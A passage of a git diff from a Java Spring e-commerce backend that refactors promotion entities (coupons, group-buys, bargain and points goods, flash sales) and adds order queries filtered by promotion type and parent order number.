(memberCoupon.getScopeType().equals(CouponScopeTypeEnum.PORTION_GOODS.name())) { + } else if (memberCoupon.getScopeType().equals(PromotionsScopeTypeEnum.PORTION_GOODS.name())) { //范围关联ID是否包含 return cartSkuVOS.stream().filter(i -> memberCoupon.getScopeId().indexOf("," + i.getGoodsSku().getId() + ",") <= 0).collect(Collectors.toList()); - } else if (memberCoupon.getScopeType().equals(CouponScopeTypeEnum.PORTION_SHOP_CATEGORY.name())) { + } else if (memberCoupon.getScopeType().equals(PromotionsScopeTypeEnum.PORTION_SHOP_CATEGORY.name())) { //店铺分类路径是否包含 return cartSkuVOS.stream().filter(i -> i.getGoodsSku().getStoreCategoryPath().indexOf("," + memberCoupon.getScopeId() + ",") <= 0).collect(Collectors.toList()); } @@ -700,7 +701,7 @@ public class CartServiceImpl implements CartService { throw new ServiceException(ResultCode.CART_PINTUAN_NOT_EXIST_ERROR); } //检测拼团限购数量 - Pintuan pintuan = pintuanService.getPintuanById(cartSkuVO.getPintuanId()); + Pintuan pintuan = pintuanService.getById(cartSkuVO.getPintuanId()); Integer limitNum = pintuan.getLimitNum(); if (limitNum != 0 && cartSkuVO.getNum() > limitNum) { throw new ServiceException(ResultCode.CART_PINTUAN_LIMIT_ERROR); @@ -715,7 +716,7 @@ public class CartServiceImpl implements CartService { private void checkKanjia(CartSkuVO cartSkuVO) { //根据skuId获取砍价商品 - KanjiaActivityGoodsDTO kanjiaActivityGoodsDTO = kanjiaActivityGoodsService.getKanjiaGoodsBySkuId(cartSkuVO.getGoodsSku().getId()); + KanjiaActivityGoods kanjiaActivityGoodsDTO = kanjiaActivityGoodsService.getKanjiaGoodsBySkuId(cartSkuVO.getGoodsSku().getId()); //查找当前会员的砍价商品活动 KanjiaActivitySearchParams kanjiaActivitySearchParams = new KanjiaActivitySearchParams(); @@ -746,7 +747,7 @@ public class CartServiceImpl implements CartService { */ private void checkPoint(CartSkuVO cartSkuVO) { - PointsGoodsVO pointsGoodsVO = pointsGoodsService.getPointsGoodsVOByMongo(cartSkuVO.getGoodsSku().getId()); + PointsGoodsVO pointsGoodsVO = pointsGoodsService.getPointsGoodsDetailBySkuId(cartSkuVO.getGoodsSku().getId()); if (pointsGoodsVO != null) { diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/AfterSalePriceDetailDTO.java b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/AfterSalePriceDetailDTO.java index b442dd83..bc16120f 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/AfterSalePriceDetailDTO.java +++ b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/AfterSalePriceDetailDTO.java @@ -1,7 +1,7 @@ package cn.lili.modules.order.order.entity.dto; -import cn.lili.modules.promotion.entity.dto.BasePromotion; +import cn.lili.modules.promotion.entity.dto.BasePromotions; import io.swagger.annotations.ApiModelProperty; import lombok.Data; @@ -74,7 +74,7 @@ public class AfterSalePriceDetailDTO implements Serializable { * 参与的促销活动 */ @ApiModelProperty(value = "参与的促销活动") - private List joinPromotion; + private List joinPromotion; public AfterSalePriceDetailDTO() { diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java index 864a152e..899327be 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java @@ -6,10 +6,7 @@ import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; import cn.lili.common.utils.DateUtil; import cn.lili.common.vo.PageVO; -import cn.lili.modules.order.order.entity.enums.CommentStatusEnum; -import cn.lili.modules.order.order.entity.enums.OrderStatusEnum; -import cn.lili.modules.order.order.entity.enums.OrderTagEnum; -import cn.lili.modules.order.order.entity.enums.OrderTypeEnum; +import cn.lili.modules.order.order.entity.enums.*; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.fasterxml.jackson.annotation.JsonFormat; import io.swagger.annotations.ApiModelProperty; @@ -104,6 +101,18 @@ public class OrderSearchParams extends PageVO { @ApiModelProperty(value = "评论状态:未评论(UNFINISHED),待追评(WAIT_CHASE),评论完成(FINISHED),") private String commentStatus; + @ApiModelProperty(value = "是否为其他订单下的订单,如果是则为依赖订单的sn,否则为空") + private String parentOrderSn; + + @ApiModelProperty(value = "是否为某订单类型的订单,如果是则为订单类型的id,否则为空") + private String promotionId; + + /** + * @see OrderPromotionTypeEnum + */ + @ApiModelProperty(value = "订单促销类型") + private String orderPromotionType; + public QueryWrapper queryWrapper() { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); QueryWrapper wrapper = new QueryWrapper<>(); @@ -192,6 +201,12 @@ public class OrderSearchParams extends PageVO { } } + // 依赖订单 + wrapper.eq(CharSequenceUtil.isNotEmpty(parentOrderSn), "o.parent_order_sn", parentOrderSn); + // 促销活动id + wrapper.eq(CharSequenceUtil.isNotEmpty(promotionId), "o.promotion_id", promotionId); + + wrapper.eq(CharSequenceUtil.isNotEmpty(orderPromotionType), "o.order_promotion_type", orderPromotionType); wrapper.eq("o.delete_flag", false); return wrapper; diff --git a/framework/src/main/java/cn/lili/modules/order/order/mapper/OrderMapper.java b/framework/src/main/java/cn/lili/modules/order/order/mapper/OrderMapper.java index a86f0e68..f92610ad 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/mapper/OrderMapper.java +++ b/framework/src/main/java/cn/lili/modules/order/order/mapper/OrderMapper.java @@ -52,6 +52,17 @@ public interface OrderMapper extends BaseMapper { " FROM li_order o INNER JOIN li_order_item AS oi on o.sn = oi.order_sn ${ew.customSqlSegment} ") IPage queryByParams(IPage page, @Param(Constants.WRAPPER) Wrapper queryWrapper); + /** + * 查询订单信息 + * + * @param queryWrapper 查询条件 + * @return 简短订单分页 + */ + @Select("select o.* " + + " FROM li_order o INNER JOIN li_order_item AS oi on o.sn = oi.order_sn ${ew.customSqlSegment} ") + List queryListByParams(@Param(Constants.WRAPPER) Wrapper queryWrapper); + + /** * 查询导出订单DTO列表 * diff --git a/framework/src/main/java/cn/lili/modules/order/order/service/OrderService.java b/framework/src/main/java/cn/lili/modules/order/order/service/OrderService.java index 4fb1d04c..64d45791 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/service/OrderService.java +++ b/framework/src/main/java/cn/lili/modules/order/order/service/OrderService.java @@ -51,6 +51,46 @@ public interface OrderService extends IService { */ IPage queryByParams(OrderSearchParams orderSearchParams); + /** + * 订单信息 + * + * @param orderSearchParams 查询参数 + * @return 订单信息 + */ + List queryListByParams(OrderSearchParams orderSearchParams); + + /** + * 根据促销查询订单 + * + * @param orderPromotionType 订单类型 + * @param payStatus 支付状态 + * @param parentOrderSn 依赖订单编号 + * @param orderSn 订单编号 + * @return 订单信息 + */ + List queryListByPromotion(String orderPromotionType, String payStatus, String parentOrderSn, String orderSn); + + /** + * 根据促销查询订单 + * + * @param orderPromotionType 订单类型 + * @param payStatus 支付状态 + * @param parentOrderSn 依赖订单编号 + * @param orderSn 订单编号 + * @return 订单信息 + */ + Integer queryCountByPromotion(String orderPromotionType, String payStatus, String parentOrderSn, String orderSn); + + /** + * 父级拼团订单分组 + * + * @param pintuanId 拼团id + * @return 拼团订单信息 + */ + List queryListByPromotion(String pintuanId); + + + /** * 查询导出订单列表 * diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java index d5c4e42f..d92799dd 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java @@ -8,6 +8,7 @@ import cn.hutool.json.JSONUtil; import cn.hutool.poi.excel.ExcelReader; import cn.hutool.poi.excel.ExcelUtil; import cn.hutool.poi.excel.ExcelWriter; +import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.properties.RocketmqCustomProperties; @@ -193,6 +194,70 @@ public class OrderServiceImpl extends ServiceImpl implements return this.baseMapper.queryByParams(PageUtil.initPage(orderSearchParams), queryWrapper); } + /** + * 订单信息 + * + * @param orderSearchParams 查询参数 + * @return 订单信息 + */ + @Override + public List queryListByParams(OrderSearchParams orderSearchParams) { + return this.baseMapper.queryListByParams(orderSearchParams.queryWrapper()); + } + + /** + * 根据促销查询订单 + * + * @param orderPromotionType 订单类型 + * @param payStatus 支付状态 + * @param parentOrderSn 依赖订单编号 + * @param orderSn 订单编号 + * @return 订单信息 + */ + @Override + public List queryListByPromotion(String orderPromotionType, String payStatus, String parentOrderSn, String orderSn) { + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); + //查找团长订单和已和当前拼团订单拼团的订单 + queryWrapper.eq(Order::getOrderPromotionType, orderPromotionType) + .eq(Order::getPayStatus, payStatus) + .and(i -> i.eq(Order::getParentOrderSn, parentOrderSn).or(j -> j.eq(Order::getSn, orderSn))); + return this.list(queryWrapper); + } + + /** + * 根据促销查询订单 + * + * @param orderPromotionType 订单类型 + * @param payStatus 支付状态 + * @param parentOrderSn 依赖订单编号 + * @param orderSn 订单编号 + * @return 订单信息 + */ + @Override + public Integer queryCountByPromotion(String orderPromotionType, String payStatus, String parentOrderSn, String orderSn) { + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); + //查找团长订单和已和当前拼团订单拼团的订单 + queryWrapper.eq(Order::getOrderPromotionType, orderPromotionType) + .eq(Order::getPayStatus, payStatus) + .and(i -> i.eq(Order::getParentOrderSn, parentOrderSn).or(j -> j.eq(Order::getSn, orderSn))); + return this.count(queryWrapper); + } + + /** + * 父级拼团订单 + * + * @param pintuanId 拼团id + * @return 拼团订单信息 + */ + @Override + public List queryListByPromotion(String pintuanId) { + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); + queryWrapper.eq(Order::getOrderPromotionType, PromotionTypeEnum.PINTUAN.name()); + queryWrapper.eq(Order::getPromotionId, pintuanId); + queryWrapper.nested(i -> i.eq(Order::getPayStatus, PayStatusEnum.PAID.name()).or().eq(Order::getOrderStatus, OrderStatusEnum.PAID.name())); + return this.list(queryWrapper); + } + @Override public List queryExportOrder(OrderSearchParams orderSearchParams) { return this.baseMapper.queryExportOrder(orderSearchParams.queryWrapper()); @@ -515,7 +580,7 @@ public class OrderServiceImpl extends ServiceImpl implements @Override public void agglomeratePintuanOrder(String pintuanId, String parentOrderSn) { //获取拼团配置 - Pintuan pintuan = pintuanService.getPintuanById(pintuanId); + Pintuan pintuan = pintuanService.getById(pintuanId); List list = this.getPintuanOrder(pintuanId, parentOrderSn); if (Boolean.TRUE.equals(pintuan.getFictitious()) && pintuan.getRequiredNum() > list.size()) { //如果开启虚拟成团且当前订单数量不足成团数量,则认为拼团成功 @@ -667,7 +732,7 @@ public class OrderServiceImpl extends ServiceImpl implements return; } //获取拼团配置 - Pintuan pintuan = pintuanService.getPintuanById(pintuanId); + Pintuan pintuan = pintuanService.getById(pintuanId); List list = this.getPintuanOrder(pintuanId, parentOrderSn); int count = list.size(); if (count == 1) { @@ -734,7 +799,7 @@ public class OrderServiceImpl extends ServiceImpl implements private void pintuanOrderFailed(List list) { for (Order order : list) { try { - this.cancel(order.getSn(), "拼团人数不足,拼团失败!"); + this.systemCancel(order.getSn(), "拼团人数不足,拼团失败!"); } catch (Exception e) { log.error("拼团订单取消失败", e); } @@ -766,7 +831,7 @@ public class OrderServiceImpl extends ServiceImpl implements private void checkOrder(Order order) { //订单类型为拼团订单,检测购买数量是否超过了限购数量 if (OrderPromotionTypeEnum.PINTUAN.name().equals(order.getOrderType())) { - Pintuan pintuan = pintuanService.getPintuanById(order.getPromotionId()); + Pintuan pintuan = pintuanService.getById(order.getPromotionId()); Integer limitNum = pintuan.getLimitNum(); if (limitNum != 0 && order.getGoodsNum() > limitNum) { throw new ServiceException(ResultCode.PINTUAN_LIMIT_NUM_ERROR); diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Coupon.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Coupon.java index 63bb9a3f..c7948947 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Coupon.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Coupon.java @@ -1,10 +1,17 @@ package cn.lili.modules.promotion.entity.dos; -import cn.lili.modules.promotion.entity.dto.BasePromotion; +import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.enums.CouponRangeDayEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; +import cn.lili.modules.promotion.entity.vos.CouponVO; import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; +import lombok.ToString; +import org.springframework.beans.BeanUtils; /** @@ -13,15 +20,16 @@ import lombok.Data; * @author Chopper * @since 2020-03-19 10:44 上午 */ +@EqualsAndHashCode(callSuper = true) @Data @TableName("li_coupon") @ApiModel(value = "优惠券实体类") -public class Coupon extends BasePromotion { - +@ToString(callSuper = true) +@NoArgsConstructor +public class Coupon extends BasePromotions { private static final long serialVersionUID = 8372820376262437018L; - @ApiModelProperty(value = "优惠券名称") private String couponName; @@ -33,21 +41,12 @@ public class Coupon extends BasePromotion { @ApiModelProperty(value = "优惠券类型") private String couponType; - /** - * @see cn.lili.modules.promotion.entity.enums.CouponScopeTypeEnum - */ - @ApiModelProperty(value = "关联范围类型") - private String scopeType; - @ApiModelProperty(value = "面额") private Double price; @ApiModelProperty(value = "折扣") private Double couponDiscount; - @ApiModelProperty(value = "范围关联的id") - private String scopeId; - /** * @see cn.lili.modules.promotion.entity.enums.CouponGetEnum */ @@ -77,7 +76,6 @@ public class Coupon extends BasePromotion { /** * @see cn.lili.modules.promotion.entity.enums.CouponRangeDayEnum - * */ @ApiModelProperty(value = "时间范围类型") private String rangeDayType; @@ -85,4 +83,21 @@ public class Coupon extends BasePromotion { @ApiModelProperty(value = "有效期") private Integer effectiveDays; + public Coupon(CouponVO couponVO) { + BeanUtils.copyProperties(couponVO, this); + } + + + /** + * @return 促销状态 + * @see cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum + */ + @Override + public String getPromotionStatus() { + if (this.rangeDayType != null && this.rangeDayType.equals(CouponRangeDayEnum.DYNAMICTIME.name()) + && (this.effectiveDays != null && this.effectiveDays > 0 && this.effectiveDays <= 365)) { + return PromotionsStatusEnum.START.name(); + } + return super.getPromotionStatus(); + } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/CouponActivity.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/CouponActivity.java index 2584a13e..5db90bfc 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/CouponActivity.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/CouponActivity.java @@ -1,12 +1,13 @@ package cn.lili.modules.promotion.entity.dos; -import cn.lili.modules.promotion.entity.dto.BasePromotion; +import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.entity.enums.CouponActivitySendTypeEnum; import cn.lili.modules.promotion.entity.enums.CouponActivityTypeEnum; import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; import javax.validation.constraints.NotNull; @@ -16,10 +17,11 @@ import javax.validation.constraints.NotNull; * @author Bulbasaur * @since 2020-03-19 10:44 上午 */ +@EqualsAndHashCode(callSuper = true) @Data @TableName("li_coupon_activity") @ApiModel(value = "优惠券活动实体类") -public class CouponActivity extends BasePromotion { +public class CouponActivity extends BasePromotions { /** * @see CouponActivityTypeEnum diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/CouponActivityItem.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/CouponActivityItem.java index 78b9bfdb..68db91e8 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/CouponActivityItem.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/CouponActivityItem.java @@ -5,6 +5,7 @@ import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; /** * 优惠券活动实体类 @@ -12,6 +13,7 @@ import lombok.Data; * @author Bulbasaur * @since 2020-03-19 10:44 上午 */ +@EqualsAndHashCode(callSuper = true) @Data @TableName("li_coupon_activity_item") @ApiModel(value = "优惠券活动-优惠券关联实体类") diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/FullDiscount.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/FullDiscount.java index c0d937cf..48b894e0 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/FullDiscount.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/FullDiscount.java @@ -1,6 +1,6 @@ package cn.lili.modules.promotion.entity.dos; -import cn.lili.modules.promotion.entity.dto.BasePromotion; +import cn.lili.modules.promotion.entity.dto.BasePromotions; import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; @@ -21,7 +21,7 @@ import javax.validation.constraints.NotNull; @Data @TableName("li_full_discount") @ApiModel(value = "满优惠活动") -public class FullDiscount extends BasePromotion { +public class FullDiscount extends BasePromotions { private static final long serialVersionUID = 430433787214894166L; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/KanjiaActivity.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/KanjiaActivity.java index 88f79ea9..4d5db44d 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/KanjiaActivity.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/KanjiaActivity.java @@ -6,14 +6,16 @@ import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; /** * 砍价活动参与实体类 * * @author qiuqiu - * @date 2020-7-1 10:44 上午 + * @since 2020-7-1 10:44 上午 */ +@EqualsAndHashCode(callSuper = true) @Data @TableName("li_kanjia_activity") @ApiModel(value = "砍价活动参与对象") diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/KanjiaActivityGoods.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/KanjiaActivityGoods.java index 4c87dd86..acf01efe 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/KanjiaActivityGoods.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/KanjiaActivityGoods.java @@ -1,10 +1,11 @@ package cn.lili.modules.promotion.entity.dos; -import cn.lili.modules.promotion.entity.dto.BasePromotion; +import cn.lili.modules.promotion.entity.dto.BasePromotions; import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; import javax.validation.constraints.NotEmpty; @@ -14,10 +15,11 @@ import javax.validation.constraints.NotEmpty; * @author qiuqiu * @date 2020-7-1 10:44 上午 */ +@EqualsAndHashCode(callSuper = true) @Data @TableName("li_kanjia_activity_goods") @ApiModel(value = "砍价活动商品对象") -public class KanjiaActivityGoods extends BasePromotion { +public class KanjiaActivityGoods extends BasePromotions { private static final long serialVersionUID = 6694714877345423488L; @@ -34,6 +36,10 @@ public class KanjiaActivityGoods extends BasePromotion { @ApiModelProperty(value = "货品id") @NotEmpty(message = "货品id不能为空") + private String goodsId; + + @ApiModelProperty(value = "货品SkuId") + @NotEmpty(message = "货品SkuId不能为空") private String skuId; @ApiModelProperty(value = "货品名称") diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/MemberCoupon.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/MemberCoupon.java index 220d0de2..e3127cbd 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/MemberCoupon.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/MemberCoupon.java @@ -3,14 +3,16 @@ package cn.lili.modules.promotion.entity.dos; import cn.hutool.core.date.DateField; import cn.hutool.core.date.DateTime; import cn.hutool.core.date.DateUtil; -import cn.lili.mybatis.BaseEntity; import cn.lili.modules.promotion.entity.enums.CouponRangeDayEnum; import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import cn.lili.mybatis.BaseEntity; import com.baomidou.mybatisplus.annotation.TableName; import com.fasterxml.jackson.annotation.JsonFormat; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; import java.util.Date; @@ -20,6 +22,7 @@ import java.util.Date; * @author Chopper * @since 2020-03-19 10:44 上午 */ +@EqualsAndHashCode(callSuper = true) @Data @TableName("li_member_coupon") @ApiModel(value = "会员优惠券") @@ -52,7 +55,7 @@ public class MemberCoupon extends BaseEntity { private String memberId; /** - * @see cn.lili.modules.promotion.entity.enums.CouponScopeTypeEnum + * @see PromotionsScopeTypeEnum */ @ApiModelProperty(value = "关联范围类型") private String scopeType; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Pintuan.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Pintuan.java index a61acf89..4e4a485b 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Pintuan.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Pintuan.java @@ -1,6 +1,6 @@ package cn.lili.modules.promotion.entity.dos; -import cn.lili.modules.promotion.entity.dto.BasePromotion; +import cn.lili.modules.promotion.entity.dto.BasePromotions; import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; @@ -19,7 +19,7 @@ import javax.validation.constraints.NotNull; @Data @TableName("li_pintuan") @ApiModel(value = "拼团") -public class Pintuan extends BasePromotion { +public class Pintuan extends BasePromotions { private static final long serialVersionUID = -8465716592648602604L; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PointsGoods.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PointsGoods.java index bf622f95..c3d692ba 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PointsGoods.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PointsGoods.java @@ -1,11 +1,12 @@ package cn.lili.modules.promotion.entity.dos; -import cn.lili.modules.promotion.entity.dto.BasePromotion; +import cn.lili.modules.promotion.entity.dto.BasePromotions; import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.AllArgsConstructor; import lombok.Data; +import lombok.EqualsAndHashCode; import lombok.NoArgsConstructor; @@ -15,18 +16,28 @@ import lombok.NoArgsConstructor; * @author paulG * @since 2020-03-19 10:44 上午 **/ +@EqualsAndHashCode(callSuper = true) @Data @TableName("li_points_goods") @ApiModel(value = "积分商品") @AllArgsConstructor @NoArgsConstructor -public class PointsGoods extends BasePromotion { +public class PointsGoods extends BasePromotions { private static final long serialVersionUID = 1313207311581661571L; @ApiModelProperty(value = "商品编号") + private String goodsId; + + @ApiModelProperty(value = "商品sku编号") private String skuId; + @ApiModelProperty(value = "商品名称") + private String goodsName; + + @ApiModelProperty(value = "商品原价") + private Double originalPrice; + @ApiModelProperty(value = "结算价格") private Double settlementPrice; @@ -36,6 +47,9 @@ public class PointsGoods extends BasePromotion { @ApiModelProperty(value = "分类名称") private String pointsGoodsCategoryName; + @ApiModelProperty(value = "缩略图") + private String thumbnail; + @ApiModelProperty(value = "活动库存数量") private Integer activeStock; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java index 08c89d9e..2e53e971 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java @@ -2,14 +2,16 @@ package cn.lili.modules.promotion.entity.dos; import cn.hutool.core.bean.BeanUtil; import cn.lili.common.enums.PromotionTypeEnum; -import cn.lili.mybatis.BaseEntity; import cn.lili.modules.goods.entity.dos.GoodsSku; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import cn.lili.mybatis.BaseEntity; import com.baomidou.mybatisplus.annotation.TableName; import com.fasterxml.jackson.annotation.JsonFormat; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; import lombok.NoArgsConstructor; import java.util.Date; @@ -20,6 +22,7 @@ import java.util.Date; * @author Chopper * @since 2020-03-19 10:44 上午 */ +@EqualsAndHashCode(callSuper = true) @Data @TableName("li_promotion_goods") @ApiModel(value = "促销商品") @@ -34,10 +37,13 @@ public class PromotionGoods extends BaseEntity { @ApiModelProperty(value = "商家名称") private String storeName; - @ApiModelProperty(value = "货品id") + @ApiModelProperty(value = "商品id") + private String goodsId; + + @ApiModelProperty(value = "商品SkuId") private String skuId; - @ApiModelProperty(value = "货品名称") + @ApiModelProperty(value = "商品名称") private String goodsName; @ApiModelProperty(value = "缩略图") @@ -72,31 +78,56 @@ public class PromotionGoods extends BaseEntity { @ApiModelProperty(value = "卖出的商品数量") private Integer num; + @ApiModelProperty(value = "原价") + private Double originalPrice; + @ApiModelProperty(value = "促销价格") private Double price; + @ApiModelProperty(value = "兑换积分") + private Long points; + @ApiModelProperty(value = "限购数量") private Integer limitNum; @ApiModelProperty(value = "促销库存") private Integer quantity; - /** - * @see PromotionStatusEnum - */ - @ApiModelProperty(value = "状态") - private String promotionStatus; - @ApiModelProperty(value = "分类path") private String categoryPath; + /** + * @see PromotionsScopeTypeEnum + */ + @ApiModelProperty(value = "关联范围类型") + private String scopeType = PromotionsScopeTypeEnum.PORTION_GOODS.name(); + + + @ApiModelProperty(value = "范围关联的id") + private String scopeId; + public PromotionGoods(GoodsSku sku) { if (sku != null) { - String oldId = this.getId(); - BeanUtil.copyProperties(sku, this); - this.setSkuId(sku.getId()); - this.setId(oldId); + BeanUtil.copyProperties(sku, this, "id", "price"); + this.skuId = sku.getId(); + this.originalPrice = sku.getPrice(); } } + public PromotionGoods(PointsGoods pointsGoods, GoodsSku sku) { + if (pointsGoods != null) { + BeanUtil.copyProperties(sku, this, "id"); + BeanUtil.copyProperties(pointsGoods, this, "id"); + this.promotionId = pointsGoods.getId(); + this.quantity = pointsGoods.getActiveStock(); + this.originalPrice = sku.getPrice(); + } + } + + public PromotionGoods(KanjiaActivityGoodsDTO kanjiaActivityGoodsDTO) { + if (kanjiaActivityGoodsDTO != null) { + BeanUtil.copyProperties(kanjiaActivityGoodsDTO, this, "id"); + BeanUtil.copyProperties(kanjiaActivityGoodsDTO.getGoodsSku(), this, "id"); + } + } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Seckill.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Seckill.java index 3c6e770f..6ed0dfaf 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Seckill.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Seckill.java @@ -3,8 +3,8 @@ package cn.lili.modules.promotion.entity.dos; import cn.hutool.core.date.DateField; import cn.hutool.core.date.DateTime; import cn.hutool.core.date.DateUtil; -import cn.lili.modules.promotion.entity.dto.BasePromotion; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.vos.SeckillVO; import com.baomidou.mybatisplus.annotation.TableName; import com.fasterxml.jackson.annotation.JsonFormat; import io.swagger.annotations.ApiModel; @@ -12,6 +12,7 @@ import io.swagger.annotations.ApiModelProperty; import lombok.Data; import lombok.EqualsAndHashCode; import lombok.NoArgsConstructor; +import org.springframework.beans.BeanUtils; import javax.validation.constraints.NotNull; import java.util.Date; @@ -27,7 +28,7 @@ import java.util.Date; @TableName("li_seckill") @ApiModel(value = "秒杀活动活动") @NoArgsConstructor -public class Seckill extends BasePromotion { +public class Seckill extends BasePromotions { private static final long serialVersionUID = -9116425737163730836L; @@ -52,21 +53,22 @@ public class Seckill extends BasePromotion { @ApiModelProperty(value = "商品数量") private Integer goodsNum; - public Seckill(int day,String hours,String seckillRule){ + public Seckill(int day, String hours, String seckillRule) { //默认创建*天后的秒杀活动 - DateTime dateTime= DateUtil.beginOfDay(DateUtil.offset(new DateTime(), DateField.DAY_OF_YEAR, day)); - this.applyEndTime=dateTime; - this.hours=hours; - this.seckillRule=seckillRule; - this.goodsNum=0; - + DateTime dateTime = DateUtil.beginOfDay(DateUtil.offset(new DateTime(), DateField.DAY_OF_YEAR, day)); + this.applyEndTime = dateTime; + this.hours = hours; + this.seckillRule = seckillRule; + this.goodsNum = 0; //BasePromotion - setStoreName("platform"); - setStoreId("platform"); - setPromotionName(DateUtil.formatDate(dateTime)+" 秒杀活动"); - setStartTime(dateTime); - setEndTime(DateUtil.endOfDay(dateTime)); - setPromotionStatus(PromotionStatusEnum.NEW.name()); + this.setStoreName("platform"); + this.setStoreId("platform"); + 